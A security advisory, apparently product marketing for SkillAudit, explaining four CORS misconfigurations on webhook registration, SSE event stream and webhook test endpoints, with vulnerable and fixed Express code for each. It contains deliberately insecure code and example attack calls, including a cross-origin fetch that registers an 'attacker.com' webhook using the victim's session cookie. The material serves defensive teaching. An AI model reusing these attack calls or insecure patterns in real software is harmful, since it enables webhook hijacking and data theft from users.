Claude MCP skill CORS misconfiguration — webhook registration and event subscription endpoints — SA-SKL-CORS25
Webhook and event subscription endpoints are control-plane surfaces: they determine where audit result notifications are sent and who can observe real-time events. SA-SKL-CORS25 covers four CORS misconfiguration patterns in MCP skill registry webhook registration and event subscription endpoints — an absent CORS policy that lets a cross-origin attacker register their own webhook URL using a victim's session cookie, a wildcard SSE stream that leaks real-time audit events, a timing oracle created by emitting the ACAO header before authentication completes, and a wildcard on the webhook test trigger endpoint that lets any attacker page fire deliveries at victim-configured URLs.
POST /api/webhooks has no CORS middleware whatsoever — an attacker page on the same network registers their own URL as a webhook for the victim's audit completion events using the victim's session cookie; all subsequent audit result deliveries go to the attacker's serverGET /api/events/stream returns Access-Control-Allow-Origin: * — any origin can open an EventSource connection and read the victim's real-time audit progress events including partial findings and internal task identifiersGET /api/webhooks reflects the incoming Origin header as ACAO before the authentication middleware runs — a timing side-channel reveals whether any webhooks are registered for an account before the CORS block fires on unauthenticated requestsPOST /api/webhooks/:id/test returns Access-Control-Allow-Origin: * — any attacker origin can trigger a test delivery to the victim's configured webhook URL using the victim's session cookie, potentially causing the victim's downstream system to perform unintended actionsBackground: webhook endpoints as CORS attack targets
Developers commonly assume that CORS attacks are limited to data reads — an attacker page reads a cross-origin response and exfiltrates the content. CORS25-001 and CORS25-004 demonstrate that CORS misconfigurations on write endpoints are equally dangerous: they enable cross-origin state modifications using the victim's authenticated session. In an MCP skill registry, webhooks are the delivery channel for audit results to downstream CI/CD systems; hijacking a webhook registration means every future audit result is silently forwarded to the attacker, enabling persistent intelligence gathering without further interaction from the victim.
CORS25-002 shows how SSE streams compound the read attack class: rather than a single response body, the attacker receives an ongoing event stream that includes real-time audit progress, partial finding announcements, internal task state transitions, and system metadata. The absent authentication check that exposes this stream amplifies the CORS misconfiguration into a continuous data exfiltration channel.
CORS25-003 illustrates a subtler category: a timing oracle created by middleware ordering. When the CORS response header is emitted before the authentication check runs, the response time delta (and in some configurations the response size or HTTP status code returned on the preflight OPTIONS) can reveal information about the target account even without a successful data read.
Related patterns: SA-SKL-CORS24 (reporting endpoint CORS), SA-SKL-CORS22 (admin API CORS), SA-SKL-SSRF26 (SSRF via webhook URL delivery).
CORS25-001 — CRITICAL — No CORS middleware on webhook registration endpoint
The webhook registration endpoint POST /api/webhooks has no CORS middleware configured at all. In an Express application, missing CORS middleware means no Access-Control-Allow-Origin header is emitted and no preflight OPTIONS handler responds — but this does not protect the endpoint. Simple cross-origin requests (those with a Content-Type: text/plain or application/x-www-form-urlencoded) are sent by the browser without a preflight. An attacker page can fire fetch('/api/webhooks', { method: 'POST', credentials: 'include', body: new URLSearchParams({ url: 'https://attacker.com/hook', events: 'audit.completed' }), headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }) and the browser will attach the victim's session cookie.
Even for endpoints that do require a preflight (e.g., Content-Type: application/json), if the server lacks a CORS preflight handler then the preflight fails — but older or misconfigured reverse proxies may pass through simple POST requests directly. The root fix is to apply explicit CORS middleware to every route that accepts write operations, using an allowlist policy rather than relying on absent headers as a de facto block.
The concrete impact is that any page the victim visits can register an attacker-controlled webhook URL for the victim's account. All subsequent audit completion notifications, including full finding reports, are then delivered to the attacker's server. The registration persists until the victim manually reviews and removes the webhook — an event most victims never trigger.
// VULNERABLE — CORS25-001
// routes/webhooks.js
const express = require('express');
const router = express.Router();
// BUG: no cors() middleware on this router at all
// A cross-origin simple-request POST fires without a preflight:
// fetch('/api/webhooks', { method:'POST', credentials:'include',
// body: new URLSearchParams({ url: 'https://attacker.com/', events: '*' }),
// headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
// })
// Browser attaches session cookie — webhook registered for attacker
router.post('/', authenticate, async (req, res) => {
const { url, events, secret } = req.body;
const hook = await Webhook.create({
userId: req.user.id,
url,
events: events || ['audit.completed'],
secret: secret || crypto.randomBytes(16).toString('hex'),
});
res.status(201).json(hook);
});
app.use('/api/webhooks', router);
// FIXED — CORS25-001
// routes/webhooks.js
const cors = require('cors');
const { URL } = require('url');
const ALLOWED_ORIGINS = [
'https://app.skillaudit.dev',
'https://skillaudit.dev',
];
// Apply allowlist CORS + SameSite cookie as defense-in-depth
const webhookCors = cors({
origin: (origin, cb) => {
// No origin = same-origin or server-to-server — allow through
if (!origin) return cb(null, true);
if (ALLOWED_ORIGINS.includes(origin)) return cb(null, true);
logger.warn('CORS25-001: rejected origin on webhook POST', { origin });
return cb(new Error('CORS: origin not allowed'));
},
credentials: true,
methods: ['GET', 'POST', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
});
router.options('/', webhookCors); // handle preflight for POST
router.post('/', webhookCors, authenticate, async (req, res) => {
const { url, events, secret } = req.body;
// Validate webhook URL is HTTPS and not a private address (SSRF guard)
let parsed;
try { parsed = new URL(url); } catch { return res.status(400).json({ error: 'Invalid URL' }); }
if (parsed.protocol !== 'https:') return res.status(400).json({ error: 'Webhook URL must be HTTPS' });
if (isPrivateAddress(parsed.hostname)) return res.status(400).json({ error: 'Webhook URL must not be an internal address' });
const hook = await Webhook.create({
userId: req.user.id,
url,
events: events || ['audit.completed'],
secret: secret || crypto.randomBytes(32).toString('hex'),
});
res.status(201).json(hook);
});
app.use('/api/webhooks', router);
CORS25-001 impact: Persistent webhook hijacking — every future audit result for the victim's account is silently forwarded to the attacker's server. The attack requires only that the victim visits any page controlled by the attacker while authenticated to SkillAudit. No phishing of credentials is needed; the browser's cookie jar delivers the authenticated POST. The registration persists indefinitely. SkillAudit detects this by enumerating all POST, PUT, PATCH, and DELETE routes in the application and flagging any that have no CORS middleware applied — either directly or via a parent app.use() handler.
CORS25-002 — HIGH — Wildcard ACAO on SSE event stream leaks real-time audit events
The Server-Sent Events (SSE) endpoint GET /api/events/stream streams real-time notifications about audit job progress, finding announcements, and system state changes to the connected frontend. The endpoint sets Access-Control-Allow-Origin: *. SSE connections use a simple GET request, which the browser sends without a preflight — meaning the wildcard ACAO directly allows any origin to open an EventSource connection and receive the stream.
An attacker page opens const es = new EventSource('https://api.skillaudit.dev/api/events/stream'). If the victim is authenticated and has a session cookie that also authenticates the EventSource GET (cookies are sent on simple cross-origin requests when ACAO is a specific origin plus credentials: true, but here the wildcard means no cookies are sent — however the endpoint may also accept a bearer token in a query parameter, which the attacker could have obtained via other means). More critically, if the SSE endpoint returns different data for authenticated versus unauthenticated streams, the wildcard ACAO leaks the unauthenticated event set to any origin, including internal task identifiers that can be used to infer which audits are in progress.
The fix is to remove the wildcard ACAO and replace it with an explicit origin allowlist plus credentials: true. If the SSE endpoint must be reachable from multiple known frontend origins, enumerate them explicitly. If any form of token-in-query-string authentication is used (a common pattern for EventSource which cannot send Authorization headers), the token must be validated server-side and the CORS policy must be strict — wildcard ACAO combined with query-string authentication tokens is equivalent to no authentication.
// VULNERABLE — CORS25-002
// routes/events.js
// BUG: wildcard ACAO on an SSE stream that may carry authenticated events
// Any page can open EventSource and receive real-time audit event stream
app.get('/api/events/stream', (req, res) => {
res.setHeader('Content-Type', 'text/event-stream');
res.setHeader('Cache-Control', 'no-cache');
res.setHeader('Connection', 'keep-alive');
res.setHeader('Access-Control-Allow-Origin', '*'); // BUG: wildcard
// EventSource cannot send Authorization header — authenticate via query token
// With wildcard ACAO, any page can subscribe and receives the full event stream
const token = req.query.token;
const userId = verifyStreamToken(token); // returns null if invalid
const cleanup = eventBus.subscribe(userId || 'public', (event) => {
res.write(`data: ${JSON.stringify(event)}\n\n`);
});
req.on('close', cleanup);
});
// FIXED — CORS25-002
// routes/events.js
const ALLOWED_ORIGINS = [
'https://app.skillaudit.dev',
'https://skillaudit.dev',
];
app.get('/api/events/stream', (req, res) => {
// Apply explicit CORS before anything else
const origin = req.headers.origin;
if (origin) {
if (!ALLOWED_ORIGINS.includes(origin)) {
// Reject: do not set ACAO, return 403
return res.status(403).json({ error: 'CORS: origin not allowed' });
}
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
res.setHeader('Content-Type', 'text/event-stream');
res.setHeader('Cache-Control', 'no-cache');
res.setHeader('Connection', 'keep-alive');
// Validate stream token; reject unauthenticated connections entirely
const token = req.query.token;
const userId = verifyStreamToken(token);
if (!userId) {
res.write(`event: error\ndata: ${JSON.stringify({ code: 'AUTH_REQUIRED' })}\n\n`);
return res.end();
}
// Rotate stream tokens: each token is single-use, 60s TTL, bound to userId
// This prevents token replay from a different origin
consumeStreamToken(token);
const cleanup = eventBus.subscribe(userId, (event) => {
res.write(`data: ${JSON.stringify(event)}\n\n`);
});
req.on('close', cleanup);
});
CORS25-002 impact: Any page on the internet can open an EventSource to the SSE stream and receive real-time audit events. If the stream emits events for public audit jobs, the attacker learns which repositories are being audited, the timing of audit completions, and partial finding announcements. If the stream uses a query-string token for authentication, the wildcard ACAO means any page that obtains that token (via URL bar sharing, Referer header leak, or previous XSS) can subscribe and receive the authenticated event stream. SkillAudit detects this by identifying SSE routes (those setting Content-Type: text/event-stream) and flagging any that emit Access-Control-Allow-Origin: *.
CORS25-003 — MEDIUM — Origin reflection before authentication creates timing oracle on webhook list
The webhook list endpoint GET /api/webhooks uses a custom CORS middleware that reflects the incoming Origin header as Access-Control-Allow-Origin before invoking the authentication middleware. Because the CORS middleware runs first, the server emits ACAO: <reflected-origin> on both authenticated and unauthenticated requests. An unauthenticated request subsequently returns a 401 from the authentication middleware — but the CORS header has already been emitted, and the browser allows the response to be read by the cross-origin attacker page.
The 401 response body often differs between "account exists but unauthenticated" and "account does not exist" — a user enumeration oracle. More subtly, the response time for the CORS header emission (before auth) versus the auth check itself can reveal whether any webhooks exist in the database without completing authentication. In a correctly ordered middleware stack, CORS must be applied after authentication for credential-required routes, or the CORS policy must be fixed (allowlist, not reflect-all) and applied before auth but be strict enough that unauthenticated cross-origin reads are blocked at the browser level.
// VULNERABLE — CORS25-003
// middleware ordering issue
// BUG: reflect-any-origin CORS applied BEFORE authentication
// Attacker origin is reflected back; browser allows attacker to read the 401 body
// The 401 body or response time leaks account existence and webhook count
app.get('/api/webhooks',
(req, res, next) => {
// Reflects any Origin — runs before auth check
if (req.headers.origin) {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
},
authenticate, // runs AFTER cors — too late, header already emitted
async (req, res) => {
const hooks = await Webhook.find({ userId: req.user.id });
res.json(hooks);
}
);
// FIXED — CORS25-003
// routes/webhooks.js — correct middleware ordering
const cors = require('cors');
const ALLOWED_ORIGINS = [
'https://app.skillaudit.dev',
'https://skillaudit.dev',
];
// Use allowlist CORS — no reflect-all; browser blocks cross-origin reads
// for origins not in the allowlist even if the response is a 401
const strictCors = cors({
origin: (origin, cb) => {
if (!origin || ALLOWED_ORIGINS.includes(origin)) return cb(null, true);
return cb(new Error('CORS: origin not allowed'));
},
credentials: true,
methods: ['GET', 'POST', 'DELETE', 'OPTIONS'],
});
// CORS applied first (correct) but using ALLOWLIST not reflect-all
// Ordering: strictCors → authenticate → handler
app.get('/api/webhooks',
strictCors,
authenticate,
async (req, res) => {
const hooks = await Webhook.find({ userId: req.user.id });
res.json(hooks);
}
);
CORS25-003 impact: Timing oracle on webhook registration status and potential user enumeration via 401 response body differences. The direct impact is medium: the attacker learns information about the target account's webhook configuration without authentication, but cannot read the webhook URL or secret values. The underlying middleware ordering error — where reflect-all CORS is applied before authentication — is a code pattern that frequently coexists with higher-severity CORS25-001 and CORS25-004 issues; SkillAudit flags it as a medium-severity indicator of broader CORS mishandling in the webhooks module.
CORS25-004 — HIGH — Wildcard ACAO on webhook test endpoint lets attacker trigger deliveries
The webhook delivery test endpoint POST /api/webhooks/:id/test allows an authenticated user to trigger a test delivery to their configured webhook URL. The endpoint returns Access-Control-Allow-Origin: *. Because the endpoint uses Content-Type: application/json for the request body, a preflight OPTIONS request is required before the POST — and the server responds to the preflight with ACAO: * and Access-Control-Allow-Methods: POST, which allows the browser to proceed with the cross-origin POST using the victim's session cookie.
An attacker page sends a cross-origin fetch('https://api.skillaudit.dev/api/webhooks/VICTIM_HOOK_ID/test', { method: 'POST', credentials: 'include' }). The server validates that the authenticated user (the victim) owns webhook VICTIM_HOOK_ID (which they do) and fires a test delivery to the victim's configured webhook URL. If the webhook URL points to a CI/CD pipeline trigger, a Slack incoming webhook, a PagerDuty alert, or any other action-taking endpoint, the attacker causes unintended deliveries to those systems — potentially triggering builds, alerts, or state changes in the victim's downstream infrastructure.
The fix is to apply an explicit origin allowlist to the webhook test endpoint. Because it performs a write action (triggers a delivery) on behalf of the authenticated user, it must be protected against cross-origin invocation just like the registration endpoint. Wildcard ACAO is appropriate only for genuinely public, read-only, non-state-modifying endpoints — the webhook test endpoint meets none of these criteria.
// VULNERABLE — CORS25-004
// routes/webhooks.js
// BUG: wildcard ACAO on a state-mutating endpoint (triggers external delivery)
// Attacker page fires cross-origin POST using victim's session cookie
// → test delivery sent to victim's webhook URL (CI trigger, Slack, PagerDuty)
app.options('/api/webhooks/:id/test', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // BUG
res.setHeader('Access-Control-Allow-Methods', 'POST');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.sendStatus(204);
});
app.post('/api/webhooks/:id/test', authenticate, async (req, res) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // BUG
const hook = await Webhook.findOne({ _id: req.params.id, userId: req.user.id });
if (!hook) return res.status(404).json({ error: 'Webhook not found' });
await deliverWebhook(hook.url, hook.secret, { event: 'test', at: new Date() });
res.json({ delivered: true });
});
// FIXED — CORS25-004
// routes/webhooks.js
const cors = require('cors');
const ALLOWED_ORIGINS = [
'https://app.skillaudit.dev',
'https://skillaudit.dev',
];
const strictCors = cors({
origin: (origin, cb) => {
if (!origin || ALLOWED_ORIGINS.includes(origin)) return cb(null, true);
logger.warn('CORS25-004: rejected origin on webhook test endpoint', { origin });
return cb(new Error('CORS: origin not allowed'));
},
credentials: true,
methods: ['POST', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
});
// Apply allowlist CORS + preflight handler
app.options('/api/webhooks/:id/test', strictCors);
app.post('/api/webhooks/:id/test', strictCors, authenticate, async (req, res) => {
const hook = await Webhook.findOne({ _id: req.params.id, userId: req.user.id });
if (!hook) return res.status(404).json({ error: 'Webhook not found' });
// Rate-limit test deliveries to prevent abuse even from first-party origins
const key = `webhook-test:${req.user.id}`;
const count = await redis.incr(key);
if (count === 1) await redis.expire(key, 60);
if (count > 5) return res.status(429).json({ error: 'Too many test deliveries' });
await deliverWebhook(hook.url, hook.secret, { event: 'test', at: new Date() });
res.json({ delivered: true });
});
CORS25-004 impact: An attacker can trigger test deliveries to any webhook URL registered under the victim's account. If the victim's webhook points to a CI/CD trigger, an alerting system, or any action-taking integration, the attacker causes unintended external actions. The exploit requires only that the attacker know (or enumerate) a valid webhook ID for the victim account, and that the victim visits the attacker's page while authenticated. Webhook IDs are typically sequential integers or short UUIDs — either is enumerable given CORS25-001 (which allows cross-origin webhook registration) and CORS25-003 (which leaks the webhook count). SkillAudit detects this by identifying endpoints whose HTTP methods indicate state mutation (POST on a path matching /test, /trigger, /send, /deliver) and flagging those that emit ACAO: *.
Detection with SkillAudit
SkillAudit's static analysis scans webhook and event subscription modules for all four SA-SKL-CORS25 patterns. For CORS25-001 it enumerates all POST/PUT/PATCH/DELETE routes and flags those with no CORS middleware in the ancestor middleware chain. For CORS25-002 it identifies SSE routes by their Content-Type: text/event-stream header and flags those emitting ACAO: *. For CORS25-003 it performs middleware ordering analysis — detecting reflect-all CORS middleware that is registered before authentication middleware on the same route. For CORS25-004 it identifies action-trigger endpoints (by path pattern and HTTP method) and flags those with wildcard ACAO.
| Finding | Severity | Root cause | Fix |
|---|---|---|---|
| CORS25-001 | CRITICAL | No CORS middleware on webhook POST; simple-request bypass allows cross-origin registration with victim session cookie | Apply allowlist CORS to all write endpoints; handle OPTIONS preflight explicitly |
| CORS25-002 | HIGH | Wildcard ACAO on SSE stream; any origin subscribes to real-time audit events | Allowlist CORS + credentials:true on SSE; single-use stream tokens; reject unauthenticated connections |
| CORS25-003 | MEDIUM | Reflect-all CORS runs before authentication; browser allows attacker to read 401 body and timing oracle | Use allowlist CORS (not reflect-all); if reflect-all needed, apply after authentication |
| CORS25-004 | HIGH | Wildcard ACAO on webhook test trigger; attacker fires deliveries to victim's webhook URL cross-origin | Allowlist CORS on all action-trigger endpoints; add per-user rate limit on test deliveries |
Related findings: SA-SKL-CORS24 (reporting endpoint CORS), SA-SKL-SSRF27 (SSRF via package analysis), SA-SKL-INJECTION15 (CI/CD injection).
SkillAudit scans your MCP skill registry for all SA-SKL-CORS25 patterns — absent CORS on write endpoints, wildcard on SSE streams, middleware ordering oracles, and wildcard on action-trigger endpoints — and delivers a prioritized fix report in minutes.
Join the waitlist →